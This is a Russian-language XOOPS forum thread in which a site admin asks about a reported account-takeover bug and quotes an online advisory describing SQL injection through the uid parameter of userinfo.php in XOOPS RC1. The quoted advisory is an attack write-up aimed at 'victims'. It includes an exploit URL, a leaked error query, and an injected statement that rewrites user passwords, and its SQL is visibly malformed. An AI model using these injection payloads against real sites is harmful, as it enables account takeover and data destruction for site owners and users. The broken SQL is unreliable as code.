Forum - XOOPS Ru

shperk пишет:
Quote:

пишет:
Скорее всего можно его заломать.
Слишком уж много понапихано в него всего, где-нить дырка да и осталась.

Один из моих юзеров прислал мне следующее:Quote:
Влзьмите, зайдите под логином на этот сайт, потом скопируйде адрес в браузере и пошлите его другу.. - знаете что будет? Он спакойно сможет зайти в ваш профиль и делать все что угодно, и даже сменить пароль :)

На мой взгляд, это невозможно, т.к. все данные хранятся в куках, но юзер уверяет, что проделал это на абсолютно другом компе и реально сменил профиль...
Чего-й-то я не понимаю- ведь это - не модуль левый...
И вот, что нашел в Сети:
Quote:
Уязвимые версии: Xoops RC1

Диагноз: выполнение SQL - запроса

Xploit: http://victim/userinfo.php?uid=77 drop *

Поиск жертв: файл userinfo.php

Описалово: В скрипте userinfo.php отсутствует проверка на спецсимволы в переменной $uid, которая используется в SQL-запросе, что позволяет вволю поиграть с sql-запросами, модифицируя или удаляя данные ;).

Весело? Поехали!

Если поставить в $uid "7545$", то PHP отрапортует об ошибке:

-отрезано-

...

MySQL Query Error: SELECT u.*, s.* FROM x_users u, x_users_status s WHERE

u.uid=7545$ AND u.uid=s.uid

Error number:1064

Error message: You have an error in your SQL syntax near '; AND u.uid=s.uid' at line 1

...

-отрезано-

Это здорово помогает - ты видишь, как устроен sql-запрос, что позволяет вволю оттянуться ;)! Ну, например... вот так вот:

$uid =2; update x_users password='coolpass'; select * x_from users where uid='1'

Теперь отправляемый SQL-запрос выглядит вот так:

SELECT u.*, s.* FROM x_users u, x_users_status s WHERE

u.uid=2; update x_users password='coolpass'; select * x_from users where uid='1'

AND u.uid=s.uid

Понятное дело, что вместо "update x_users..." может стоять ЛЮБОЙ sql-запрос, права на выполнение которого есть у текущего sql-ного юзера.

Forum Index